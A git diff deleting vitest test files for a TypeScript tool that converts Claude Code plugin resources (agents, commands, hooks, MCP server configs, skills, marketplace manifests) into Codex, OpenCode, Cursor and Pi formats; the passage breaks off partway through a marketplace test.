expect(result.content).toContain('sandbox_mode = "read-only"'); - }); - - it('maps effort to model_reasoning_effort for codex', () => { - const result = convertAgent(sampleAgent, 'codex'); - expect(result.content).toContain('model_reasoning_effort = "high"'); - }); - - it('converts to opencode as subagent file', () => { - const result = convertAgent(sampleAgent, 'opencode'); - expect(result.path).toBe('.opencode/agents/code-reviewer.md'); - expect(result.content).toContain('description: Reviews code for bugs'); - expect(result.content).toContain('mode: subagent'); - expect(result.content).toContain('steps: 20'); - expect(result.content).toContain('edit: deny'); - }); - - it('converts to cursor as agent file', () => { - const result = convertAgent(sampleAgent, 'cursor'); - expect(result.path).toBe('.cursor/agents/code-reviewer.md'); - expect(result.content).toContain('name: code-reviewer'); - expect(result.content).toContain('description: Reviews code for bugs'); - }); - - it('converts to antigravity as agent file', () => { - const result = convertAgent(sampleAgent, 'antigravity'); - expect(result.path).toBe('.agents/agents/code-reviewer.md'); - expect(result.content).toContain('name: code-reviewer'); - expect(result.content).toContain('model: gemini-3.1-pro-preview'); - // Tool identifiers are not published; original tools preserved as a comment. - expect(result.content).toContain('Read, Grep, Bash'); - expect(result.content).not.toContain('read_file'); - }); -}); diff --git a/src/__tests__/command.test.ts b/src/__tests__/command.test.ts deleted file mode 100644 index 40b3b76..0000000 --- a/src/__tests__/command.test.ts +++ /dev/null @@ -1,36 +0,0 @@ -import { describe, it, expect } from 'vitest'; -import { convertCommand } from '../converter/command.js'; -import type { Command } from '../types.js'; - -const sampleCommand: Command = { - name: 'deploy', - content: 'Deploy to $1 environment.\n\n1. Build\n2. Test\n3. Deploy', - sourcePath: '/tmp/.claude/commands/deploy.md', -}; - -describe('convertCommand', () => { - it('converts to codex as skill', () => { - const result = convertCommand(sampleCommand, 'codex'); - expect(result.path).toBe('.agents/skills/cmd-deploy/SKILL.md'); - expect(result.content).toContain('name: cmd-deploy'); - expect(result.content).toContain('Deploy to $1'); - }); - - it('converts to opencode as command file', () => { - const result = convertCommand(sampleCommand, 'opencode'); - expect(result.path).toBe('.opencode/commands/deploy.md'); - expect(result.content).toContain('Deploy to $1'); - }); - - it('converts to cursor as command file', () => { - const result = convertCommand(sampleCommand, 'cursor'); - expect(result.path).toBe('.cursor/commands/deploy.md'); - expect(result.content).toContain('Deploy to $1'); - }); - - it('converts to pi as a prompt template', () => { - const result = convertCommand(sampleCommand, 'pi'); - expect(result.path).toBe('.pi/prompts/deploy.md'); - expect(result.content).toContain('Deploy to $1'); - }); -}); diff --git a/src/__tests__/github.test.ts b/src/__tests__/github.test.ts deleted file mode 100644 index 2022afe..0000000 --- a/src/__tests__/github.test.ts +++ /dev/null @@ -1,62 +0,0 @@ -import { describe, it, expect } from 'vitest'; -import { parseGitHubSource } from '../github.js'; - -describe('parseGitHubSource', () => { - it('parses github:owner/repo', () => { - const result = parseGitHubSource('github:anthropics/claude-code'); - expect(result.owner).toBe('anthropics'); - expect(result.repo).toBe('claude-code'); - expect(result.branch).toBeUndefined(); - }); - - it('parses github:owner/repo#branch', () => { - const result = parseGitHubSource('github:anthropics/claude-code#main'); - expect(result.owner).toBe('anthropics'); - expect(result.repo).toBe('claude-code'); - expect(result.branch).toBe('main'); - }); - - it('parses owner/repo shorthand', () => { - const result = parseGitHubSource('anthropics/claude-code'); - expect(result.owner).toBe('anthropics'); - expect(result.repo).toBe('claude-code'); - }); - - it('parses owner/repo#branch shorthand', () => { - const result = parseGitHubSource('anthropics/claude-code#dev'); - expect(result.owner).toBe('anthropics'); - expect(result.repo).toBe('claude-code'); - expect(result.branch).toBe('dev'); - }); - - it('parses full GitHub URL', () => { - const result = parseGitHubSource('https://github.com/anthropics/claude-code'); - expect(result.owner).toBe('anthropics'); - expect(result.repo).toBe('claude-code'); - expect(result.branch).toBeUndefined(); - }); - - it('parses GitHub URL with branch', () => { - const result = parseGitHubSource('https://github.com/anthropics/claude-code/tree/main'); - expect(result.owner).toBe('anthropics'); - expect(result.repo).toBe('claude-code'); - expect(result.branch).toBe('main'); - }); - - it('parses GitHub URL with branch and subpath', () => { - const result = parseGitHubSource('https://github.com/anthropics/claude-code/tree/main/skills/my-skill'); - expect(result.owner).toBe('anthropics'); - expect(result.repo).toBe('claude-code'); - expect(result.branch).toBe('main'); - expect(result.subPath).toBe('skills/my-skill'); - }); - - it('strips .git suffix from URL', () => { - const result = parseGitHubSource('https://github.com/anthropics/claude-code.git'); - expect(result.repo).toBe('claude-code'); - }); - - it('throws on invalid source', () => { - expect(() => parseGitHubSource('invalid')).toThrow('Invalid GitHub source'); - }); -}); diff --git a/src/__tests__/hooks.test.ts b/src/__tests__/hooks.test.ts deleted file mode 100644 index 935c353..0000000 --- a/src/__tests__/hooks.test.ts +++ /dev/null @@ -1,51 +0,0 @@ -import { describe, it, expect } from 'vitest'; -import { convertHooks } from '../converter/hooks.js'; -import type { Hooks } from '../types.js'; - -const sampleHooks: Hooks = { - PostToolUse: [ - { - matcher: 'Edit|Write', - hooks: [{ type: 'command', command: 'npx prettier --write' }], - }, - ], - SessionStart: [ - { - hooks: [{ type: 'command', command: 'echo hello' }], - }, - ], - SubagentStart: [ - { - hooks: [{ type: 'prompt', command: 'check something' }], - }, - ], -}; - -describe('convertHooks', () => { - it('converts portable command hooks to codex notes', () => { - const result = convertHooks(sampleHooks, 'codex'); - expect(result.converted.length).toBeGreaterThan(0); - const postToolUse = result.converted.find(f => f.content.includes('PostToolUse')); - expect(postToolUse).toBeDefined(); - expect(postToolUse!.content).toContain('npx prettier --write'); - }); - - it('warns about non-portable events', () => { - const result = convertHooks(sampleHooks, 'codex'); - const subagentWarning = result.warnings.find(w => w.includes('SubagentStart')); - expect(subagentWarning).toBeDefined(); - }); - - it('warns about non-portable events with non-command hook types', () => { - const result = convertHooks(sampleHooks, 'codex'); - // SubagentStart is not portable, so it gets skipped with a warning about the event - const warning = result.warnings.find(w => w.includes('SubagentStart') && w.includes('not portable')); - expect(warning).toBeDefined(); - }); - - it('cannot convert hooks to cursor', () => { - const result = convertHooks(sampleHooks, 'cursor'); - // Cursor doesn't support file-based hooks, should warn - expect(result.warnings.length).toBeGreaterThan(0); - }); -}); diff --git a/src/__tests__/instructions.test.ts b/src/__tests__/instructions.test.ts deleted file mode 100644 index be07f2a..0000000 --- a/src/__tests__/instructions.test.ts +++ /dev/null @@ -1,48 +0,0 @@ -import { describe, it, expect } from 'vitest'; -import { mergeInstructions } from '../converter/instructions.js'; -import type { Instruction } from '../types.js'; - -const claudeMd: Instruction = { - fileName: 'CLAUDE.md', - content: '# Instructions\n\nAlways use TypeScript.', - sourcePath: '/tmp/CLAUDE.md', - isRule: false, -}; - -const rule: Instruction = { - fileName: 'testing.md', - content: '# Testing\n\nUse vitest.', - sourcePath: '/tmp/.claude/rules/testing.md', - isRule: true, -}; - -describe('mergeInstructions', () => { - it('merges into single AGENTS.md for codex', () => { - const result = mergeInstructions([claudeMd, rule], 'codex'); - expect(result).toHaveLength(1); - expect(result[0].path).toBe('AGENTS.md'); - expect(result[0].content).toContain('Always use TypeScript'); - expect(result[0].content).toContain('Rule: testing'); - expect(result[0].content).toContain('Use vitest'); - }); - - it('merges into single AGENTS.md for opencode', () => { - const result = mergeInstructions([claudeMd, rule], 'opencode'); - expect(result).toHaveLength(1); - expect(result[0].path).toBe('AGENTS.md'); - }); - - it('creates separate .mdc files for cursor', () => { - const result = mergeInstructions([claudeMd, rule], 'cursor'); - expect(result).toHaveLength(2); - expect(result[0].path).toBe('.cursor/rules/claude-instructions.mdc'); - expect(result[0].content).toContain('alwaysApply: true'); - expect(result[1].path).toBe('.cursor/rules/testing.mdc'); - expect(result[1].content).toContain('alwaysApply: true'); - }); - - it('returns empty array when no instructions', () => { - const result = mergeInstructions([], 'codex'); - expect(result).toHaveLength(0); - }); -}); diff --git a/src/__tests__/mcp.test.ts b/src/__tests__/mcp.test.ts deleted file mode 100644 index bd4c80d..0000000 --- a/src/__tests__/mcp.test.ts +++ /dev/null @@ -1,55 +0,0 @@ -import { describe, it, expect } from 'vitest'; -import { convertMCP } from '../converter/mcp.js'; -import type { MCPConfig } from '../types.js'; - -const sampleMCP: MCPConfig = { - servers: [ - { - name: 'filesystem', - command: 'npx', - args: ['-y', '@modelcontextprotocol/server-filesystem', '/tmp'], - env: { NODE_ENV: 'dev' }, - }, - { - name: 'github', - type: 'http', - url: 'https://api.github.com/mcp', - headers: { Authorization: 'Bearer token' }, - }, - ], - sourcePath: '/tmp/.mcp.json', -}; - -describe('convertMCP', () => { - it('converts to codex TOML format', () => { - const result = convertMCP(sampleMCP, 'codex'); - expect(result.path).toBe('.codex/config.toml'); - expect(result.content).toContain('[mcp_servers.filesystem]'); - expect(result.content).toContain('command = "npx"'); - expect(result.content).toContain('[mcp_servers.github]'); - expect(result.content).toContain('url = "https://api.github.com/mcp"'); - }); - - it('converts to opencode JSON format', () => { - const result = convertMCP(sampleMCP, 'opencode'); - expect(result.path).toBe('opencode.json'); - const data = JSON.parse(result.content); - expect(data.mcp.filesystem.type).toBe('local'); - // command is a single string array (command + args merged) - expect(data.mcp.filesystem.command).toEqual(['npx', '-y', '@modelcontextprotocol/server-filesystem', '/tmp']); - expect(data.mcp.filesystem.enabled).toBe(true); - // env vars use the `environment` key, not `env` - expect(data.mcp.filesystem.environment).toEqual({ NODE_ENV: 'dev' }); - expect(data.mcp.github.type).toBe('remote'); - expect(data.mcp.github.url).toBe('https://api.github.com/mcp'); - expect(data.mcp.github.enabled).toBe(true); - }); - - it('converts to cursor JSON format', () => { - const result = convertMCP(sampleMCP, 'cursor'); - expect(result.path).toBe('.cursor/mcp.json'); - const data = JSON.parse(result.content); - expect(data.mcpServers.filesystem.command).toBe('npx'); - expect(data.mcpServers.github.url).toBe('https://api.github.com/mcp'); - }); -}); diff --git a/src/__tests__/pi.test.ts b/src/__tests__/pi.test.ts deleted file mode 100644 index c4d883e..0000000 --- a/src/__tests__/pi.test.ts +++ /dev/null @@ -1,90 +0,0 @@ -import { describe, it, expect } from 'vitest'; -import { generatePi } from '../writer/pi.js'; -import type { ScanResult } from '../types.js'; - -function baseScan(overrides: Partial = {}): ScanResult { - return { - skills: [], - instructions: [], - mcp: null, - agents: [], - commands: [], - hooks: null, - pluginFiles: [], - rootDir: '/tmp/plugin', - ...overrides, - }; -} - -describe('generatePi', () => { - it('converts skills to .pi/skills/ and instructions to AGENTS.md', () => { - const scan = baseScan({ - skills: [{ - dirName: 'my-skill', - frontmatter: { name: 'my-skill', description: 'A skill' }, - body: '# My Skill', - sourcePath: '/tmp/plugin/skills/my-skill/SKILL.md', - auxFiles: [], - }], - instructions: [{ - fileName: 'CLAUDE.md', - content: '# Project rules', - sourcePath: '/tmp/plugin/CLAUDE.md', - isRule: false, - }], - }); - - const result = generatePi(scan); - expect(result.platform).toBe('pi'); - - const skillFile = result.files.find(f => f.type === 'skill'); - expect(skillFile?.path).toBe('.pi/skills/my-skill/SKILL.md'); - - const instrFile = result.files.find(f => f.type === 'instruction'); - expect(instrFile?.path).toBe('AGENTS.md'); - expect(instrFile?.content).toContain('# Project rules'); - - expect(result.warnings).toHaveLength(0); - }); - - it('degrades commands to prompt templates', () => { - const scan = baseScan({ - commands: [{ name: 'deploy', content: 'Deploy it', sourcePath: '/tmp/plugin/commands/deploy.md' }], - }); - - const result = generatePi(scan); - const cmdFile = result.files.find(f => f.type === 'command'); - expect(cmdFile?.path).toBe('.pi/prompts/deploy.md'); - expect(cmdFile?.content).toContain('Deploy it'); - }); - - it('warns and skips MCP, agents, and hooks (no Pi format)', () => { - const scan = baseScan({ - mcp: { servers: [{ name: 'fs', command: 'npx' }], sourcePath: '/tmp/plugin/.mcp.json' }, - agents: [{ fileName: 'reviewer', frontmatter: { name: 'reviewer' }, body: 'body', sourcePath: '/tmp/plugin/agents/reviewer.md' }], - hooks: { PreToolUse: [{ hooks: [{ type: 'command', command: 'echo hi' }] }] }, - }); - - const result = generatePi(scan); - - // None of these produce output files. - expect(result.files.filter(f => f.type === 'mcp')).toHaveLength(0); - expect(result.files.filter(f => f.type === 'agent')).toHaveLength(0); - expect(result.files.filter(f => f.type === 'hook')).toHaveLength(0); - - // Each unsupported type produces a warning. - expect(result.warnings.some(w => /MCP/.test(w))).toBe(true); - expect(result.warnings.some(w => /subagent/.test(w))).toBe(true); - expect(result.warnings.some(w => /hooks/.test(w))).toBe(true); - }); - - it('passes through plugin-level resource files', () => { - const scan = baseScan({ - pluginFiles: [{ relativePath: 'scripts/start.js', content: 'console.log(1)' }], - }); - - const result = generatePi(scan); - const resource = result.files.find(f => f.type === 'resource'); - expect(resource?.path).toBe('scripts/start.js'); - }); -}); diff --git a/src/__tests__/plugin.test.ts b/src/__tests__/plugin.test.ts deleted file mode 100644 index c142b5f..0000000 --- a/src/__tests__/plugin.test.ts +++ /dev/null @@ -1,144 +0,0 @@ -import { describe, it, expect, beforeAll } from 'vitest'; -import * as fs from 'fs'; -import * as path from 'path'; -import * as os from 'os'; -import { hasMarketplace, isSinglePlugin, scanMarketplace, scanPlugin, scanAllPlugins } from '../scanner/plugin.js'; -import { parseSelection } from '../tui.js'; - -// Create a temporary plugin fixture -let fixtureDir: string; - -beforeAll(() => { - fixtureDir = fs.mkdtempSync(path.join(os.tmpdir(), 'acplugin-test-')); - - // Create marketplace structure - fs.mkdirSync(path.join(fixtureDir, '.claude-plugin'), { recursive: true }); - fs.writeFileSync(path.join(fixtureDir, '.claude-plugin', 'marketplace.json'), JSON.stringify({ - name: 'test-plugins', - plugins: [ - { name: 'plugin-a', description: 'Plugin A', source: './plugins/plugin-a', category: 'dev' }, - { name: 'plugin-b', description: 'Plugin B', source: './plugins/plugin-b', category: 'prod' }, - { name: 'plugin-empty', description: 'Empty plugin', source: './plugins/plugin-empty' }, - ], - })); - - // Plugin A: has skills and commands - const pluginADir = path.join(fixtureDir, 'plugins', 'plugin-a'); - fs.mkdirSync(path.join(pluginADir, '.claude-plugin'), { recursive: true }); - fs.writeFileSync(path.join(pluginADir, '.claude-plugin', 'plugin.json'), JSON.stringify({ - name: 'plugin-a', version: '1.0.0', description: 'Plugin A', - })); - fs.mkdirSync(path.join(pluginADir, 'skills', 'my-skill'), { recursive: true }); - fs.writeFileSync(path.join(pluginADir, 'skills', 'my-skill', 'SKILL.md'), - '---\nname: my-skill\ndescription: Test skill\n---\n\nDo stuff.\n'); - fs.mkdirSync(path.join(pluginADir, 'commands'), { recursive: true }); - fs.writeFileSync(path.join(pluginADir, 'commands', 'deploy.md'), 'Deploy instructions'); - - // Plugin B: has agents and hooks - const pluginBDir = path.join(fixtureDir, 'plugins', 'plugin-b'); - fs.mkdirSync(path.join(pluginBDir, '.claude-plugin'), { recursive: true }); - fs.writeFileSync(path.join(pluginBDir, '.claude-plugin', 'plugin.json'), JSON.stringify({ - name: 'plugin-b', version: '2.0.0', - })); - fs.mkdirSync(path.join(pluginBDir, 'agents'), { recursive: true }); - fs.writeFileSync(path.join(pluginBDir, 'agents', 'reviewer.md'), - '---\nname: reviewer\ndescription: Code reviewer\n---\n\nReview code.\n'); - fs.mkdirSync(path.join(pluginBDir, 'hooks'), { recursive: true }); - fs.writeFileSync(path.join(pluginBDir, 'hooks', 'hooks.json'), JSON.stringify({ - hooks: { PreToolUse: [{ hooks: [{ type: 'command', command: 'echo check' }] }] }, - })); - - // Plugin Empty: no resources - const pluginEmptyDir = path.join(fixtureDir, 'plugins', 'plugin-empty'); - fs.mkdirSync(path.join(pluginEmptyDir, '.claude-plugin'), { recursive: true }); - fs.writeFileSync(path.join(pluginEmptyDir, '.claude-plugin', 'plugin.json'), JSON.stringify({ - name: 'plugin-empty', - })); -}); - -describe('plugin detection', () => { - it('detects marketplace', () => { - expect(hasMarketplace(fixtureDir)).toBe(true); - }); - - it('detects single plugin', () => { - const pluginADir = path.join(fixtureDir, 'plugins', 'plugin-a'); - expect(isSinglePlugin(pluginADir)).toBe(true); - }); - - it('returns false for non-plugin dir', () => { - expect(hasMarketplace('/tmp/nonexistent')).toBe(false); - expect(isSinglePlugin('/tmp/nonexistent')).toBe(false); - }); -}); - -describe('scanMarketplace', () => { - it('reads all plugin metadata', () => { - const metas = scanMarketplace(fixtureDir); - expect(metas).toHaveLength(3); - expect(metas[0].name).toBe('plugin-a'); - expect(metas[0].category).toBe('dev'); - expect(metas[1].name).toBe('plugin-b'); - }); -}); - -describe('scanPlugin', () => { - it('scans skills and commands from plugin-a', () => { - const pluginDir = path.join(fixtureDir, 'plugins', 'plugin-a'); - const result = scanPlugin(pluginDir); - expect(result.meta.name).toBe('plugin-a'); - expect(result.skills).toHaveLength(1); - expect(result.skills[0].frontmatter.name).toBe('my-skill'); - expect(result.commands).toHaveLength(1); - expect(result.commands[0].name).toBe('deploy'); - }); - - it('scans agents and hooks from plugin-b', () => { - const pluginDir = path.join(fixtureDir, 'plugins', 'plugin-b'); - const result = scanPlugin(pluginDir); - expect(result.meta.name).toBe('plugin-b'); - expect(result.agents).toHaveLength(1); - expect(result.hooks).not.toBeNull(); - expect(result.hooks!['PreToolUse']).toBeDefined(); - }); -}); - -describe('scanAllPlugins', () => { - it('scans all plugins and filters empty ones', () => { - const results = scanAllPlugins(fixtureDir); - // plugin-empty has no resources, should be filtered out - expect(results).toHaveLength(2); - expect(results[0].meta.name).toBe('plugin-a'); - expect(results[1].meta.name).toBe('plugin-b'); - }); -}); - -describe('parseSelection', () => { - it('parses "all"', () => { - expect(parseSelection('all', 5)).toEqual([0, 1, 2, 3, 4]); - }); - - it('parses "a"', () => { - expect(parseSelection('a', 3)).toEqual([0, 1, 2]); - }); - - it('parses "*"', () => { - expect(parseSelection('*', 3)).toEqual([0, 1, 2]); - }); - - it('parses comma-separated numbers', () => { - expect(parseSelection('1,3,5', 5)).toEqual([0, 2, 4]); - }); - - it('parses range', () => { - expect(parseSelection('2-4', 5)).toEqual([1, 2, 3]); - }); - - it('parses mixed', () => { - expect(parseSelection('1, 3-5', 6)).toEqual([0, 2, 3, 4]); - }); - - it('ignores out of range', () => { - expect(parseSelection('0, 10', 3)).toEqual([]); - }); -}); diff --git a/src/__tests__/pluginManifest.test.ts b/src/__tests__/pluginManifest.test.ts deleted file mode 100644 index 2fba80e..0000000 --- a/src/__tests__/pluginManifest.test.ts +++ /dev/null @@ -1,444 +0,0 @@ -import { describe, it, expect, beforeAll } from 'vitest'; -import * as fs from 'fs'; -import * as path from 'path'; -import * as os from 'os'; -import { - convertPluginManifestForCodex, - convertPluginManifestForCursor, - convertMarketplaceForCodex, - convertMarketplaceForCursor, -} from '../converter/pluginManifest.js'; -import { scanPlugin, scanMarketplaceMeta, readPluginMeta, analyzeSourceTarget, scanAllPlugins } from '../scanner/plugin.js'; -import { convertMCP } from '../converter/mcp.js'; -import type { PluginMeta, ScanResult, PluginScanResult, MarketplaceMeta } from '../types.js'; - -// --- Fixtures --- - -let fixtureDir: string; -let pluginWithInterface: string; -let pluginWithCustomPaths: string; -let marketplaceWithPluginRoot: string; -let marketplaceWithSkillsSource: string; -let pluginWithMCP: string; - -beforeAll(() => { - fixtureDir = fs.mkdtempSync(path.join(os.tmpdir(), 'acplugin-manifest-test-')); - - // Plugin with full interface metadata - pluginWithInterface = path.join(fixtureDir, 'plugin-interface'); - fs.mkdirSync(path.join(pluginWithInterface, '.claude-plugin'), { recursive: true }); - fs.writeFileSync(path.join(pluginWithInterface, '.claude-plugin', 'plugin.json'), JSON.stringify({ - name: 'my-plugin', - version: '0.1.0', - description: 'A test plugin', - author: { name: 'Test Author', email: 'test@example.com', url: 'https://example.com' }, - homepage: 'https://example.com/plugin', - repository: 'https://github.com/test/plugin', - license: 'MIT', - keywords: ['test', 'plugin'], - skills: './skills/', - mcpServers: './.mcp.json', - apps: './.app.json', - interface: { - displayName: 'My Plugin', - shortDescription: 'Short desc', - longDescription: 'Long description here', - developerName: 'Test Team', - category: 'Productivity', - capabilities: ['Read', 'Write'], - websiteURL: 'https://example.com', - brandColor: '#10A37F', - logo: './assets/logo.png', - screenshots: ['./assets/screenshot.png'], - }, - })); - fs.mkdirSync(path.join(pluginWithInterface, 'skills', 'hello'), { recursive: true }); - fs.writeFileSync(path.join(pluginWithInterface, 'skills', 'hello', 'SKILL.md'), - '---\nname: hello\ndescription: Hello skill\n---\nHello!'); - - // Plugin with custom resource paths - pluginWithCustomPaths = path.join(fixtureDir, 'plugin-custom'); - fs.mkdirSync(path.join(pluginWithCustomPaths, '.claude-plugin'), { recursive: true }); - fs.writeFileSync(path.join(pluginWithCustomPaths, '.claude-plugin', 'plugin.json'), JSON.stringify({ - name: 'custom-paths', - version: '1.0.0', - skills: './custom/skills/', - agents: './custom/agents/', - hooks: './config/hooks.json', - })); - fs.mkdirSync(path.join(pluginWithCustomPaths, 'custom', 'skills', 'my-skill'), { recursive: true }); - fs.writeFileSync(path.join(pluginWithCustomPaths, 'custom', 'skills', 'my-skill', 'SKILL.md'), - '---\nname: custom-skill\ndescription: Custom path skill\n---\nCustom!'); - fs.mkdirSync(path.join(pluginWithCustomPaths, 'custom', 'agents'), { recursive: true }); - fs.writeFileSync(path.join(pluginWithCustomPaths, 'custom', 'agents', 'reviewer.md'), - '---\nname: reviewer\ndescription: Reviewer agent\n---\nReview code.'); - - // Marketplace with pluginRoot - marketplaceWithPluginRoot = path.join(fixtureDir, 'marketplace-root'); - fs.mkdirSync(path.join(marketplaceWithPluginRoot, '.claude-plugin'), { recursive: true }); - fs.writeFileSync(path.join(marketplaceWithPluginRoot, '.claude-plugin', 'marketplace.json'), JSON.stringify({ - name: 'my-org-marketplace', - owner: { name: 'Test Org', email: 'org@test.com' }, - metadata: { - description: 'Organization marketplace', - version: '0.1.0', - pluginRoot: 'plugins', - }, - plugins: [ - { name: 'devtools', source: 'devtools', description: 'Dev tools plugin' }, - { name: 'empty-plugin', source: 'empty-plugin', description: 'No resources' }, - ], - })); - - // devtools plugin under plugins/ directory - const devtoolsDir = path.join(marketplaceWithPluginRoot, 'plugins', 'devtools'); - fs.mkdirSync(path.join(devtoolsDir, '.claude-plugin'), { recursive: true }); - fs.writeFileSync(path.join(devtoolsDir, '.claude-plugin', 'plugin.json'), JSON.stringify({ - name: 'devtools', version: '1.0.0', description: 'Developer tools', - })); - fs.mkdirSync(path.join(devtoolsDir, 'skills', 'lint'), { recursive: true }); - fs.writeFileSync(path.join(devtoolsDir, 'skills', 'lint', 'SKILL.md'), - '---\nname: lint\ndescription: Lint code\n---\nLint!'); - - // empty plugin (no resources) - const emptyDir = path.join(marketplaceWithPluginRoot, 'plugins', 'empty-plugin'); - fs.mkdirSync(path.join(emptyDir, '.claude-plugin'), { recursive: true }); - fs.writeFileSync(path.join(emptyDir, '.claude-plugin', 'plugin.json'), JSON.stringify({ - name: 'empty-plugin', - })); - - // Marketplace where source points directly to skills dir (flat layout like chrome-devtools-capturer-repo) - marketplaceWithSkillsSource = path.join(fixtureDir, 'marketplace-flat'); - fs.mkdirSync(path.join(marketplaceWithSkillsSource, '.claude-plugin'), { recursive: true }); - fs.writeFileSync(path.join(marketplaceWithSkillsSource, '.claude-plugin', 'marketplace.json'), JSON.stringify({ - name: 'flat-plugin', - owner: { name: 'TestOwner' }, - plugins: [ - { name: 'my-capturer', version: '1.0.0', source: './skills', description: 'Flat skills plugin' }, - ], - })); - fs.mkdirSync(path.join(marketplaceWithSkillsSource, 'skills', 'capture'), { recursive: true }); - fs.writeFileSync(path.join(marketplaceWithSkillsSource, 'skills', 'capture', 'SKILL.md'), - '---\nname: capture\ndescription: Capture data\n---\nCapture!'); - fs.mkdirSync(path.join(marketplaceWithSkillsSource, 'skills', 'analyze'), { recursive: true }); - fs.writeFileSync(path.join(marketplaceWithSkillsSource, 'skills', 'analyze', 'SKILL.md'), - '---\nname: analyze\ndescription: Analyze data\n---\nAnalyze!'); - - // Plugin with .mcp.json referencing ${CLAUDE_PLUGIN_ROOT}/scripts/ - pluginWithMCP = path.join(fixtureDir, 'plugin-mcp'); - fs.mkdirSync(path.join(pluginWithMCP, '.claude-plugin'), { recursive: true }); - fs.writeFileSync(path.join(pluginWithMCP, '.claude-plugin', 'plugin.json'), JSON.stringify({ - name: 'mcp-plugin', - version: '1.0.0', - })); - fs.writeFileSync(path.join(pluginWithMCP, '.mcp.json'), JSON.stringify({ - mcpServers: { - 'my-server': { - command: 'node', - args: ['${CLAUDE_PLUGIN_ROOT}/scripts/server/start.js'], - env: { CONFIG: '${CLAUDE_PLUGIN_ROOT}/config/settings.json' }, - }, - }, - })); - fs.mkdirSync(path.join(pluginWithMCP, 'scripts', 'server'), { recursive: true }); - fs.writeFileSync(path.join(pluginWithMCP, 'scripts', 'server', 'start.js'), 'console.log("hello");'); - fs.mkdirSync(path.join(pluginWithMCP, 'skills', 'test-skill'), { recursive: true }); - fs.writeFileSync(path.join(pluginWithMCP, 'skills', 'test-skill', 'SKILL.md'), - '---\nname: test-skill\ndescription: Test\n---\nTest!'); -}); - -// --- Tests --- - -describe('readPluginMeta - resource paths', () => { - it('extracts resource path fields from plugin.json', () => { - const meta = readPluginMeta(pluginWithInterface); - expect(meta.skills).toBe('./skills/'); - expect(meta.mcpServers).toBe('./.mcp.json'); - expect(meta.apps).toBe('./.app.json'); - }); - - it('extracts interface metadata', () => { - const meta = readPluginMeta(pluginWithInterface); - expect(meta.interface).toBeDefined(); - expect(meta.interface!.displayName).toBe('My Plugin'); - expect(meta.interface!.category).toBe('Productivity'); - expect(meta.interface!.brandColor).toBe('#10A37F'); - expect(meta.interface!.capabilities).toEqual(['Read', 'Write']); - }); - - it('extracts custom paths', () => { - const meta = readPluginMeta(pluginWithCustomPaths); - expect(meta.skills).toBe('./custom/skills/'); - expect(meta.agents).toBe('./custom/agents/'); - expect(meta.hooks).toBe('./config/hooks.json'); - }); -}); - -describe('scanPlugin - custom paths', () => { - it('scans skills from custom directory', () => { - const result = scanPlugin(pluginWithCustomPaths); - expect(result.skills).toHaveLength(1); - expect(result.skills[0].frontmatter.name).toBe('custom-skill'); - }); - - it('scans agents from custom directory', () => { - const result = scanPlugin(pluginWithCustomPaths); - expect(result.agents).toHaveLength(1); - expect(result.agents[0].frontmatter.name).toBe('reviewer'); - }); -}); - -describe('scanMarketplaceMeta - pluginRoot', () => { - it('returns full marketplace metadata with pluginRoot', () => { - const meta = scanMarketplaceMeta(marketplaceWithPluginRoot); - expect(meta).not.toBeNull(); - expect(meta!.name).toBe('my-org-marketplace'); - expect(meta!.metadata?.pluginRoot).toBe('plugins'); - expect(meta!.owner?.name).toBe('Test Org'); - expect(meta!.plugins).toHaveLength(2); - }); -}); - -describe('convertPluginManifestForCodex', () => { - it('generates .codex-plugin/plugin.json with full metadata', () => { - const scan = scanPlugin(pluginWithInterface); - const result = convertPluginManifestForCodex(scan, scan.meta); - - expect(result.path).toBe('.codex-plugin/plugin.json'); - expect(result.type).toBe('manifest'); - - const manifest = JSON.parse(result.content); - expect(manifest.name).toBe('my-plugin'); - expect(manifest.version).toBe('0.1.0'); - expect(manifest.author.name).toBe('Test Author'); - expect(manifest.skills).toBe('./.agents/skills/'); - expect(manifest.interface.displayName).toBe('My Plugin'); - expect(manifest.interface.category).toBe('Productivity'); - expect(manifest.interface.brandColor).toBe('#10A37F'); - }); - - it('includes apps path when present in meta', () => { - const scan = scanPlugin(pluginWithInterface); - const result = convertPluginManifestForCodex(scan, scan.meta); - const manifest = JSON.parse(result.content); - expect(manifest.apps).toBe('./.app.json'); - }); -}); - -describe('convertPluginManifestForCursor', () => { - it('generates .cursor-plugin/plugin.json with interface fields', () => { - const scan = scanPlugin(pluginWithInterface); - const result = convertPluginManifestForCursor(scan, scan.meta); - - expect(result.path).toBe('.cursor-plugin/plugin.json'); - - const manifest = JSON.parse(result.content); - expect(manifest.name).toBe('my-plugin'); - expect(manifest.displayName).toBe('My Plugin'); - expect(manifest.logo).toBe('./assets/logo.png'); - expect(manifest.skills).toBe('./skills/'); - }); - - it('falls back to interface.displayName when no top-level displayName', () => { - const scan: ScanResult = { - skills: [], instructions: [], mcp: null, agents: [], commands: [], hooks: null, pluginFiles: [], - rootDir: '/tmp', - }; - const meta: PluginMeta = { - name: 'test', - interface: { displayName: 'From Interface' }, - }; - const result = convertPluginManifestForCursor(scan, meta); - const manifest = JSON.parse(result.content); - expect(manifest.displayName).toBe('From Interface'); - }); -}); - -describe('convertMarketplaceForCodex', () => { - it('generates Codex marketplace.json with policy defaults', () => { - const marketplace: MarketplaceMeta = { - name: 'test-marketplace', - metadata: { description: 'Test marketplace' }, - plugins: [ - { name: 'plugin-a', source: './plugins/plugin-a', description: 'Plugin A' }, - ], - }; - const pluginScans: PluginScanResult[] = [{ - meta: { name: 'plugin-a', description: 'Plugin A', category: 'Productivity' }, - skills: [{ dirName: 'skill', frontmatter: { name: 'skill' }, body: '', sourcePath: '', auxFiles: [] }], - instructions: [], mcp: null, agents: [], commands: [], hooks: null, pluginFiles: [], rootDir: '/tmp', - }]; - - const result = convertMarketplaceForCodex(marketplace, pluginScans); - expect(result.path).toBe('.agents/plugins/marketplace.json'); - - const output = JSON.parse(result.content); - expect(output.name).toBe('test-marketplace'); - expect(output.plugins).toHaveLength(1); - expect(output.plugins[0].source).toEqual({ source: 'local', path: './plugins/plugin-a' }); - expect(output.plugins[0].policy).toEqual({ - installation: 'AVAILABLE', - authentication: 'ON_INSTALL', - }); - expect(output.plugins[0].category).toBe('Productivity'); - }); -}); - -describe('convertMarketplaceForCursor', () => { - it('generates Cursor marketplace.json with pluginRoot', () => { - const marketplace: MarketplaceMeta = { - name: 'my-org', - owner: { name: 'Test Org', email: 'org@test.com' }, - metadata: { description: 'Org marketplace', version: '0.1.0', pluginRoot: 'plugins' }, - plugins: [ - { name: 'devtools', source: 'devtools', description: 'Dev tools' }, - ], - }; - const pluginScans: PluginScanResult[] = [{ - meta: { name: 